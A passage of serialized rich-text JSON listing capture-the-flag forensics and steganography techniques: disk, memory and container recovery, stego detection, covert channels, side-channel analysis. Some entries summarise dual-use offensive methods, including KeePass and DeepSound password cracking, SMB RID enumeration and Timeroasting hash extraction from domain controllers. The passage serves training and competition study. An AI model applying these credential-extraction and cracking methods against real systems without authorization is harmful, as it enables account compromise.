References","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Docker image forensics:","type":"text","marks":[{"type":"strong"}]},{"text":" Config JSON preserves ALL ","type":"text"},{"text":"RUN","type":"text","marks":[{"type":"code_inline"}]},{"text":" commands even after cleanup. ","type":"text"},{"text":"tar xf app.tar","type":"text","marks":[{"type":"code_inline"}]},{"text":" then inspect config blob. See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Linux attack chains:","type":"text","marks":[{"type":"strong"}]},{"text":" Check ","type":"text"},{"text":"auth.log","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":".bash_history","type":"text","marks":[{"type":"code_inline"}]},{"text":", recent binaries, PCAP. See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"RAID 5 XOR recovery:","type":"text","marks":[{"type":"strong"}]},{"text":" Two disks of a 3-disk RAID 5 → XOR byte-by-byte to recover the third: ","type":"text"},{"text":"bytes(a ^ b for a, b in zip(disk1, disk3))","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md#raid-5-disk-recovery-via-xor-crypto-cat","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"GIMP raw memory dump visual inspection:","type":"text","marks":[{"type":"strong"}]},{"text":" When Volatility fails, open ","type":"text"},{"text":".dmp","type":"text","marks":[{"type":"code_inline"}]},{"text":" in GIMP as raw RGB data at monitor width (~1920); scroll to find framebuffer screenshots of user's desktop. See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md#gimp-raw-memory-dump-visual-inspection-inshack-2018","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Kyoto Cabinet hash DB forensics:","type":"text","marks":[{"type":"strong"}]},{"text":" Recover key ordering from KC hash database with zeroed keys by inserting sequential probe keys and binary-diffing to find which hash slot each overwrites. See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md#kyoto-cabinet-hash-database-forensics-via-incremental-key-insertion-asis-ctf-2018","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"PowerShell ransomware:","type":"text","marks":[{"type":"strong"}]},{"text":" Extract scripts from minidump, find AES key, decrypt SMTP attachment. See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Linux ransomware + memory dump:","type":"text","marks":[{"type":"strong"}]},{"text":" If Volatility is unreliable, recover AES key via raw-memory candidate scanning and magic-byte validation; re-extract zip cleanly to avoid missing files/false negatives. See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Deleted partitions:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"testdisk","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"kpartx -av","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ZFS forensics:","type":"text","marks":[{"type":"strong"}]},{"text":" Reconstruct labels, Fletcher4 checksums, PBKDF2 cracking. See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"BSON reconstruction:","type":"text","marks":[{"type":"strong"}]},{"text":" Reassemble BSON (Binary JSON) documents from raw bytes; parse with ","type":"text"},{"text":"bson","type":"text","marks":[{"type":"code_inline"}]},{"text":" Python library. See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md#bson-binary-json-format-reconstruction-icectf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"TrueCrypt mounting:","type":"text","marks":[{"type":"strong"}]},{"text":" Mount TrueCrypt/VeraCrypt volumes with known password using ","type":"text"},{"text":"veracrypt --mount","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"cryptsetup open --type tcrypt","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md#truecrypt--veracrypt-volume-mounting-grehack-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Hardware signals:","type":"text","marks":[{"type":"strong"}]},{"text":" VGA/HDMI TMDS/DisplayPort, Voyager audio, Saleae UART decode, Flipper Zero. See ","type":"text"},{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Caps-lock LED Morse from video:","type":"text","marks":[{"type":"strong"}]},{"text":" Track caps-lock LED pixel across security camera frames with OpenCV; on/off durations encode Morse code (short=dot, long=dash). See ","type":"text"},{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md#caps-lock-led-morse-code-extraction-from-video-stem-ctf-2018","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"I2C protocol decoding:","type":"text","marks":[{"type":"strong"}]},{"text":" Decode I2C bus captures (SDA/SCL lines) to extract data from EEPROM or sensor communications. See ","type":"text"},{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md#i2c-bus-protocol-decoding-ekoparty-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Punched card OCR:","type":"text","marks":[{"type":"strong"}]},{"text":" Decode IBM-29 punch card images by mapping hole positions to characters using standard encoding grid. See ","type":"text"},{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md#ibm-29-punched-card-ocr-ekoparty-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"USB HID mouse drawing:","type":"text","marks":[{"type":"strong"}]},{"text":" Render relative HID movements per draw mode as bitmap; separate modes, skip pen lifts, scale 5-8x. See ","type":"text"},{"text":"peripheral-capture.md","type":"text","marks":[{"type":"link","attrs":{"href":"peripheral-capture.md#usb-hid-mousepen-drawing-recovery-ehax-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Side-channel power analysis:","type":"text","marks":[{"type":"strong"}]},{"text":" Multi-dimensional power traces (positions × guesses × traces × samples). Average across traces, find sample with max variance, select guess with max power at leak point. See ","type":"text"},{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Packet interval timing:","type":"text","marks":[{"type":"strong"}]},{"text":" Binary data encoded as inter-packet delays in PCAP. Two interval values = two bit values. See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"BMP bitplane QR:","type":"text","marks":[{"type":"strong"}]},{"text":" Extract bitplanes 0-2 per RGB channel with NumPy; hidden QR often in bit 1 (not bit 0). See ","type":"text"},{"text":"stego-image.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-image.md#bmp-bitplane-qr-code-extraction--steghide-bypass-ctf-2025","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Image puzzle reassembly:","type":"text","marks":[{"type":"strong"}]},{"text":" Edge-match pixel differences between piece borders, greedy placement in grid. See ","type":"text"},{"text":"stego-image.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-image.md#image-jigsaw-puzzle-reassembly-via-edge-matching-bypass-ctf-2025","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"DeepSound audio stego with password cracking:","type":"text","marks":[{"type":"strong"}]},{"text":" Extract hash with ","type":"text"},{"text":"deepsound2john.py","type":"text","marks":[{"type":"code_inline"}]},{"text":", crack with John, retrieve hidden files from WAV; always check both spectrogram and DeepSound. See ","type":"text"},{"text":"stego-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced.md#deepsound-audio-steganography-with-password-cracking-inshack-2018","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"QR code reconstruction from curved reflection:","type":"text","marks":[{"type":"strong"}]},{"text":" Manually reconstruct QR from glass sphere reflection in video; flip, de-warp, use known plaintext prefix to fix early bytes, high ECC corrects the rest. See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md#qr-code-reconstruction-from-curved-glass-reflection-in-video-plaidctf-2018","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Audio FFT notes:","type":"text","marks":[{"type":"strong"}]},{"text":" Dominant frequencies → musical note names (A-G) spell words. See ","type":"text"},{"text":"stego-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Audio metadata octal:","type":"text","marks":[{"type":"strong"}]},{"text":" Exiftool comment with underscore-separated octal numbers → decode to ASCII/base64. See ","type":"text"},{"text":"stego-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"G-code visualization:","type":"text","marks":[{"type":"strong"}]},{"text":" Side projections (XZ/YZ) reveal text. See ","type":"text"},{"text":"3d-printing.md","type":"text","marks":[{"type":"link","attrs":{"href":"3d-printing.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Git directory recovery:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"gitdumper.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" for exposed ","type":"text"},{"text":".git","type":"text","marks":[{"type":"code_inline"}]},{"text":" dirs. See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"KeePass v4 cracking:","type":"text","marks":[{"type":"strong"}]},{"text":" Standard ","type":"text"},{"text":"keepass2john","type":"text","marks":[{"type":"code_inline"}]},{"text":" lacks v4/Argon2 support; use ","type":"text"},{"text":"ivanmrsulja/keepass2john","type":"text","marks":[{"type":"code_inline"}]},{"text":" fork or ","type":"text"},{"text":"keepass4brute","type":"text","marks":[{"type":"code_inline"}]},{"text":". Generate wordlists with ","type":"text"},{"text":"cewl","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Cross-channel multi-bit LSB:","type":"text","marks":[{"type":"strong"}]},{"text":" Different bit positions per RGB channel (R[0], G[1], B[2]) encode hidden data. See ","type":"text"},{"text":"stego-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"F5 JPEG DCT detection:","type":"text","marks":[{"type":"strong"}]},{"text":" Ratio of ±1 to ±2 AC coefficients drops from ~3:1 to ~1:1 with F5; sparse images need secondary ±2/±3 metric. See ","type":"text"},{"text":"stego-image.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-image.md#f5-jpeg-dct-coefficient-ratio-detection-apoorvctf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"PNG unused palette stego:","type":"text","marks":[{"type":"strong"}]},{"text":" Unused PLTE entries (not referenced by pixels) carry hidden data in red channel values. See ","type":"text"},{"text":"stego-image.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-image.md#png-unused-palette-entry-steganography-apoorvctf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Keyboard acoustic side-channel:","type":"text","marks":[{"type":"strong"}]},{"text":" MFCC features from keystroke audio + KNN classification against labeled reference. 10ms window captures impact transient. See ","type":"text"},{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"TCP flag covert channel:","type":"text","marks":[{"type":"strong"}]},{"text":" 6 TCP flag bits (FIN/SYN/RST/PSH/ACK/URG) = values 0-63, encoding base64 characters. Nonsensical flag combos on a consistent dest port = covert data. See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Brotli decompression bomb seam:","type":"text","marks":[{"type":"strong"}]},{"text":" Compressed bomb has repeating blocks; flag breaks the pattern at a seam. Compare adjacent blocks to find discontinuity, decompress only that region. See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Git reflog/fsck squash recovery:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"git rebase --squash","type":"text","marks":[{"type":"code_inline"}]},{"text":" leaves orphaned objects recoverable via ","type":"text"},{"text":"git fsck --unreachable --no-reflogs","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"DNS trailing byte binary:","type":"text","marks":[{"type":"strong"}]},{"text":" Extra bytes (","type":"text"},{"text":"0x30","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"0x31","type":"text","marks":[{"type":"code_inline"}]},{"text":") appended after DNS question structure encode binary bits; 8-bit MSB-first chunks → ASCII. See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Fake TLS + mDNS key + printability merge:","type":"text","marks":[{"type":"strong"}]},{"text":" TCP stream disguised as TLS hides ZIP; XOR key from mDNS TXT record; merge two decrypted arrays by selecting printable characters. See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Seed-based pixel permutation stego:","type":"text","marks":[{"type":"strong"}]},{"text":" Deterministic pixel shuffle (Fisher-Yates with known seed) + multi-bitplane interleaved LSB extraction from Y channel → hidden QR code. See ","type":"text"},{"text":"stego-image.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-image.md#seed-based-pixel-permutation--multi-bitplane-qr-l3m0nctf-2025","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"BTRFS snapshot recovery:","type":"text","marks":[{"type":"strong"}]},{"text":" Deleted files persist in BTRFS snapshots/alternate subvolumes. ","type":"text"},{"text":"mount -o subvol=@backup","type":"text","marks":[{"type":"code_inline"}]},{"text":" accesses historical copies. See ","type":"text"},{"text":"disk-recovery.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-recovery.md#btrfs-subvolumesnapshot-recovery-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"JPEG XL TOC permutation:","type":"text","marks":[{"type":"strong"}]},{"text":" JXL's progressive TOC permutation controls tile convergence order during partial decode. Truncate at increasing offsets, measure which tiles converge first → convergence order encodes flag. See ","type":"text"},{"text":"stego-advanced-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced-2.md#jpeg-xl-toc-permutation-steganography-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Kitty terminal graphics:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"ESC_G","type":"text","marks":[{"type":"code_inline"}]},{"text":" protocol embeds zlib-compressed RGB image data in base64 chunks. Strip escape sequences, concatenate, decompress, reconstruct. See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md#kitty-terminal-graphics-protocol-decoding-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ANSI escape sequence stego:","type":"text","marks":[{"type":"strong"}]},{"text":" Flag text interleaved between ANSI color codes and braille characters. Invisible when rendered; extract by stripping escape sequences and non-ASCII. See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md#ansi-escape-sequence-steganography-in-terminal-art-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Autostereogram solving:","type":"text","marks":[{"type":"strong"}]},{"text":" Duplicate layer, difference blend, shift horizontally ~100px to reveal hidden 3D text. See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md#autostereogram--magic-eye-solving-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Two-layer byte+line interleaving:","type":"text","marks":[{"type":"strong"}]},{"text":" Two files byte-interleaved, then scanlines interleaved. Deinterleave even/odd bytes first (valid images), then even/odd lines. See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md#two-layer-byteline-interleaving-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SMB RID recycling:","type":"text","marks":[{"type":"strong"}]},{"text":" Guest auth + LSARPC ","type":"text"},{"text":"LsaLookupSids","type":"text","marks":[{"type":"code_inline"}]},{"text":" with incrementing RIDs enumerates AD accounts from PCAP. See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md#smb-rid-recycling-via-lsarpc-midnight-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Timeroasting (MS-SNTP):","type":"text","marks":[{"type":"strong"}]},{"text":" NTP requests with machine RIDs extract HMAC-MD5 hashes from DC; crack with hashcat -m 31300. See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md#timeroasting--ms-sntp-hash-extraction-midnight-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Android forensics:","type":"text","marks":[{"type":"strong"}]},{"text":" Extract APK with ","type":"text"},{"text":"adb pull","type":"text","marks":[{"type":"code_inline"}]},{"text":", analyze with ","type":"text"},{"text":"apktool","type":"text","marks":[{"type":"code_inline"}]},{"text":", check ","type":"text"},{"text":"shared_prefs/","type":"text","marks":[{"type":"code_inline"}]},{"text":" and SQLite databases in ","type":"text"},{"text":"/data/data/\u003cpackage>/","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md#android-forensics","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Docker container forensics:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"docker save","type":"text","marks":[{"type":"code_inline"}]},{"text":" exports layered tars; deleted files persist in earlier layers. ","type":"text"},{"text":"docker history --no-trunc","type":"text","marks":[{"type":"code_inline"}]},{"text":" reveals build secrets. See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md#container-forensics-docker","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Cloud storage forensics:","type":"text","marks":[{"type":"strong"}]},{"text":" S3/GCP/Azure versioning preserves deleted objects. ","type":"text"},{"text":"list-object-versions","type":"text","marks":[{"type":"code_inline"}]},{"text":" recovers deleted flags. See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md#cloud-storage-forensics-aws-s3--gcp--azure","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"APFS snapshot recovery:","type":"text","marks":[{"type":"strong"}]},{"text":" Copy-on-write filesystem preserves historical file states in snapshots; use ","type":"text"},{"text":"icat","type":"text","marks":[{"type":"code_inline"}]},{"text":" with different XID block offsets to read inodes across transaction IDs. See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md#apfs-snapshot-historical-file-recovery-srdnlenctf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Windows KAPE triage:","type":"text","marks":[{"type":"strong"}]},{"text":" Pre-collected artifact ZIPs; start with PowerShell history → Amcache → MFT → registry hives. See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md#windows-kape-triage-analysis-utctf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"WordPerfect macro XOR:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":".wcm","type":"text","marks":[{"type":"code_inline"}]},{"text":" files contain macros with embedded encrypted data; XOR formula ","type":"text"},{"text":"(a+b)-2*(a&b)","type":"text","marks":[{"type":"code_inline"}]},{"text":" = bitwise XOR. See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md#wordperfect-macro-xor-extraction-srdnlenctf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"TLS master key from coredump:","type":"text","marks":[{"type":"strong"}]},{"text":" Search coredump for session ID (from Wireshark handshake); read 48 bytes before it as master key. Create Wireshark pre-master-secret log file. See ","type":"text"},{"text":"network.md","type":"text","marks":[{"type":"link","attrs":{"href":"network.md#tls-master-key-extraction-from-coredump-plaidctf-2014","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Corrupted git blob repair:","type":"text","marks":[{"type":"strong"}]},{"text":" Single-byte corruption changes SHA-1; brute-force each byte position (256 × file_size) verifying with ","type":"text"},{"text":"git hash-object","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md#corrupted-git-blob-repair-via-byte-brute-force-csaw-ctf-2015","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Split archive reassembly from PCAP:","type":"text","marks":[{"type":"strong"}]},{"text":" Same-sized HTTP-transferred files with MD5-hash names are archive fragments; order by Apache directory listing timestamps, concatenate, extract password from TCP chat stream. See ","type":"text"},{"text":"network.md","type":"text","marks":[{"type":"link","attrs":{"href":"network.md#split-archive-reassembly-from-http-transfers-asis-ctf-finals-2013","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Video frame accumulation:","type":"text","marks":[{"type":"strong"}]},{"text":" Video with flashing images at various positions; composite all frames (per-pixel maximum) reveals hidden QR code or image. See ","type":"text"},{"text":"stego-advanced-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced-2.md#video-frame-accumulation-for-hidden-image-asis-ctf-finals-2013","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reversed audio:","type":"text","marks":[{"type":"strong"}]},{"text":" Garbled audio that sounds like speech played backwards; ","type":"text"},{"text":"sox audio.wav reversed.wav reverse","type":"text","marks":[{"type":"code_inline"}]},{"text":" or Audacity Effect → Reverse reveals hidden message. See ","type":"text"},{"text":"stego-advanced-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced-2.md#reversed-audio-hidden-message-asis-ctf-finals-2013","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Multi-stream video container stego:","type":"text","marks":[{"type":"strong"}]},{"text":" MP4/MKV with multiple video streams; default stream is a red herring, flag in secondary stream. ","type":"text"},{"text":"ffprobe -hide_banner file.mp4","type":"text","marks":[{"type":"code_inline"}]},{"text":" to enumerate, ","type":"text"},{"text":"ffmpeg -i file.mp4 -map 0:1 -frames:v 1 flag.jpg","type":"text","marks":[{"type":"code_inline"}]},{"text":" to extract. See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md#multi-stream-video-container-steganography-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"FAT16 free space recovery:","type":"text","marks":[{"type":"strong"}]},{"text":" Flag hidden in unallocated clusters of FAT16 filesystem. Parse FAT table, enumerate free clusters (entry = 0x0000), read data region. See ","type":"text"},{"text":"disk-recovery.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-recovery.md#fat16-free-space-data-recovery-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"FAT16 deleted file recovery (fls/icat):","type":"text","marks":[{"type":"strong"}]},{"text":" FAT deletion replaces first byte of directory entry with ","type":"text"},{"text":"0xE5","type":"text","marks":[{"type":"code_inline"}]},{"text":" but data remains. ","type":"text"},{"text":"fls -r -d image.img","type":"text","marks":[{"type":"code_inline"}]},{"text":" lists deleted entries, ","type":"text"},{"text":"icat image.img \u003cinode>","type":"text","marks":[{"type":"code_inline"}]},{"text":" recovers by inode. See ","type":"text"},{"text":"disk-recovery.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-recovery.md#fat16-deleted-file-recovery-via-sleuth-kit-metactf-flash-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Ext2 orphaned inode recovery:","type":"text","marks":[{"type":"strong"}]},{"text":" Deleted file leaves orphaned inode; ","type":"text"},{"text":"e2fsck -y disk.img","type":"text","marks":[{"type":"code_inline"}]},{"text":" reconnects to ","type":"text"},{"text":"/lost+found","type":"text","marks":[{"type":"code_inline"}]},{"text":". Also use ","type":"text"},{"text":"debugfs","type":"text","marks":[{"type":"code_inline"}]},{"text":" ","type":"text"},{"text":"lsdel","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"icat","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"disk-recovery.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-recovery.md#ext2-orphaned-inode-recovery-via-fsck-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Linux input_event keylogger parsing:","type":"text","marks":[{"type":"strong"}]},{"text":" 24-byte ","type":"text"},{"text":"struct input_event","type":"text","marks":[{"type":"code_inline"}]},{"text":" binary dump; filter ","type":"text"},{"text":"type==1","type":"text","marks":[{"type":"code_inline"}]},{"text":" (EV_KEY), ","type":"text"},{"text":"value==1","type":"text","marks":[{"type":"code_inline"}]},{"text":" (press), map keycodes via ","type":"text"},{"text":"input-event-codes.h","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md#linux-input_event-keylogger-dump-parsing-pwn2win-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"VBA macro cell data to binary:","type":"text","marks":[{"type":"strong"}]},{"text":" Excel cells with numeric values; VBA 